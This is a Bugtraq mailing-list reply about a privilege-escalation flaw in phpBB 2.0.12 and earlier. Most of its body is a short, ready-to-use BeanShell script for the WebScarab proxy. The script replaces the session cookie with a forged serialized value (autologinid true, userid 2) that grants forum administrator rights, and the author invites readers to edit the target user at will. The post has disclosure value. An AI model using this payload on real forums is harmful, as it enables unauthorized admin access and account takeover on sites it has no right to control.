Bugtraq: Re: phpBB <= 2.0.12 UID Exploit

[Nicob <nicob () nicob net>]

federico gonzales wrote :
> I made this exploit for get admin permissions in forums phpbb2 2.0.12.
> It requires mozilla or firefox installed. The instructions are in the
> exploit.
Platform and browser independent exploit in 3 lines of Bean-Shell. Use
this code in WebScarab, and don't forget to desactivate the "Get cookies
from responses" option.

request.deleteHeader("Cookie");
request.addHeader("Cookie","phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D;");
response = fetchResponse(request);

Note #1 : because of some additional checks for the /admin/ pages, you
should desactivate the BeanShell before following the admin link.
Note #2 : this code tries to get userid=2 privs. Edit it at will ...


Nicob